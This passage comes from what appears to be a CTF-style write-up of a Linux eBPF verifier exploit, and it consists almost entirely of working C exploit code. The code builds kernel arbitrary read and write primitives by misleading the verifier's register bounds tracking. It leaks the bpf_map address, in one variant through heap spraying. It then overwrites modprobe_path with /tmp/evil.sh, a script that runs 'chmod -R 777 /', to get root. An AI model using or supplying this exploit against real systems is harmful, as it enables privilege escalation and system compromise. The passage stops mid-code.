      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0x10),
      // arg3(to) = addr
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP,
                  -0x18),  // arg3 = fp-0x18 == addr
      // arg4(len)
      BPF_MOV64_IMM(BPF_REG_ARG4, 8),
      // skb_load_bytes(skb, 0x10, addr, 8)
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr, val};
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return buf[0];
}
uint64_t aar64(uint64_t addr) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_6,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // arg3(&amp;amp;val)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP, -0x18),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr};
  write(socks[1], buf, sizeof(buf));
  bpf_map_lookup(mapfd, 0, &amp;amp;map_val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return map_val;
}

uint64_t bpf_map_addr = 0;

int main() {
  srand(time(NULL));

  mapfd = bpf_map_create(sizeof(uint64_t), 1);

  bpf_map_addr = leak_bpf_map_addr();
  printf(&amp;#34;[+] bpf_map_addr: 0x%016lx, &amp;amp;bpf_map_elem = 0x%016lx\n&amp;#34;, bpf_map_addr,
         bpf_map_addr + 0x110);

  const uint64_t kernel_base = aar64(bpf_map_addr) - BPF_MAP_OPS_OFFSET;
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);

  const char* new_modprobe = &amp;#34;/tmp/evil.sh&amp;#34;;
  const size_t new_modprobe_len = strlen(new_modprobe);
  printf(&amp;#34;[*] Overwrite modprobe to %s\n&amp;#34;, new_modprobe);
  for (size_t i = 0; i &amp;lt; new_modprobe_len; i += 8) {
    aaw64(kernel_base + MODPROB_OFFSET + i, *(uint64_t*)(new_modprobe + i));
  }
  {
    int fd = open(&amp;#34;/proc/sys/kernel/modprobe&amp;#34;, O_RDONLY);
    if (fd &amp;lt; 0) {
      fatal(&amp;#34;open(/proc/sys/kernel/modprobe)&amp;#34;);
    }

    char modprobe[0x100];
    read(fd, modprobe, sizeof(modprobe));
    if (strncmp(modprobe, new_modprobe, new_modprobe_len)) {
      printf(&amp;#34;[*] new modprobe: %s\n&amp;#34;, modprobe);
      puts(&amp;#34;[-] Failed to overwrite modprobe&amp;#34;);
      return -1;
    }
    puts(&amp;#34;[+] Successfully overwritten modprobe&amp;#34;);
  }

  puts(&amp;#34;[+] Get root&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;\xde\xad\xbe\xef&amp;#39; &amp;gt; /tmp/pwn&amp;#34;);
  system(&amp;#34;chmod +x /tmp/pwn&amp;#34;);
  system(&amp;#34;/tmp/pwn&amp;#34;);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3 id=&#34;leaks&#34;&gt;Leaks&lt;/h3&gt;
&lt;h4 id=&#34;leak-addr-of-struct-bpf_map-using-adjust_ptr_min_max_vals&#34;&gt;Leak addr of &lt;code&gt;struct bpf_map&lt;/code&gt; using &lt;code&gt;adjust_ptr_min_max_vals&lt;/code&gt;&lt;/h4&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;546928317&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;546928317&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;leak_bpf_map_using_adjust_ptr_min_max_vals.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Patch location:
//    https://elixir.bootlin.com/linux/v5.18.14/source/kernel/bpf/verifier.c#L7957
// Diff:
//    7957c7957,7958
//    &amp;lt;               __mark_reg32_known(dst_reg, var32_off.value);
//    ---
//    &amp;gt;               // `scalar_min_max_or` will handler the case
//    &amp;gt;               //__mark_reg32_known(dst_reg, var32_off.value);

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

#define KERNEL_BASE 0xffffffff81000000
#define BPF_MAP_OPS_OFFSET (0xffffffff81c124a0 - KERNEL_BASE)
#define CORE_PATTERN_OFFSET (0xffffffff81eb25e0 - KERNEL_BASE)
#define MODBPROB_OFFSET (0xffffffff81e37fe0 - KERNEL_BASE)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

int mapfd = -1;
uint64_t leak_bpf_map_addr() {
  char verifier_log[0x10000];

  uint64_t val = 0;
  bpf_map_update(mapfd, 0, &amp;amp;val);

  struct bpf_insn insns[] = {
      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x08
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),           // r6 = r0
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),  // r7 = [r0]
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),           // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).

      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),           // r1(w1) = w1(r1)
      BPF_MOV64_REG(BPF_REG_0, BPF_REG_6),           // r0 = r6
      BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),  // r0 += r1
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0,
                  -0x10),  // *(u64*)(fp-0x10) = r0
      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key) = fp-0x08
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),     // *(u64*)(fp-0x08) = 0
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),      // arg2 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),  // arg2 = arg2(fp)-0x08
      // arg3(&amp;amp;val) = fp-0x10
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),  // arg3 = arg3(fp)-0x10
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),  // arg4 = 0
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  write(socks[1], &amp;#34;Hello&amp;#34;, 5);

  bpf_map_lookup(mapfd, 0, &amp;amp;val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return val - 1 - 0x110;
}

uint64_t bpf_map_addr = 0;

int main() {
  srand(time(NULL));
  char verifier_log[0x10000];

  mapfd = bpf_map_create(sizeof(uint64_t), 1);

  bpf_map_addr = leak_bpf_map_addr();
  printf(&amp;#34;[+] bpf_map_addr: 0x%016lx, &amp;amp;bpf_map_elem = 0x%016lx\n&amp;#34;, bpf_map_addr,
         bpf_map_addr + 0x110);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4 id=&#34;leak-addr-of-struct-bpf_map-using-oob-read--heap-spray&#34;&gt;Leak addr of &lt;code&gt;struct bpf_map&lt;/code&gt; using oob read &amp;amp; heap spray&lt;/h4&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;376148295&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;376148295&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;leak_bpf_map_using_oob_read.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Patch location:
//    https://elixir.bootlin.com/linux/v5.18.14/source/kernel/bpf/verifier.c#L7957
// Diff:
//    7957c7957,7958
//    &amp;lt;               __mark_reg32_known(dst_reg, var32_off.value);
//    ---
//    &amp;gt;               // `scalar_min_max_or` will handler the case
//    &amp;gt;               //__mark_reg32_known(dst_reg, var32_off.value);

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

#define KERNEL_BASE 0xffffffff81000000
#define BPF_MAP_OPS_OFFSET (0xffffffff81c124a0 - KERNEL_BASE)
#define BPF_MAP_OPS_LOOKUP_IDX 12
#define BPF_MAP_OPS_LOOKUP_ELEM_OFFSET \
  (BPF_MAP_OPS_OFFSET + BPF_MAP_OPS_LOOKUP_IDX * 8)
#define BPF_MAP_OPS_UPDATE_ELEM_IDX 13
#define BPF_MAP_OPS_UPDATE_ELEM_OFFSET \
  (BPF_MAP_OPS_OFFSET + BPF_MAP_OPS_UPDATE_ELEM_IDX * 8)
#define CORE_PATTERN_OFFSET (0xffffffff81eb25e0 - KERNEL_BASE)
#define MODBPROB_OFFSET (0xffffffff81e37fe0 - KERNEL_BASE)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

int mapfd;
int map_spray_fd[0x100];
void make_corrupted_map() {
  uint64_t map_val = 1;

  puts(&amp;#34;[*] Spray struct bpf_map...&amp;#34;);
  for (int i = 0; i &amp;lt; sizeof(map_spray_fd) / 4; i++) {
    map_spray_fd[i] = bpf_map_create(sizeof(uint64_t), 1);
    bpf_map_update(map_spray_fd[i], 0, &amp;amp;map_val);
  }
  mapfd = map_spray_fd[0x81];

  char verifier_log[0x10000];

  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
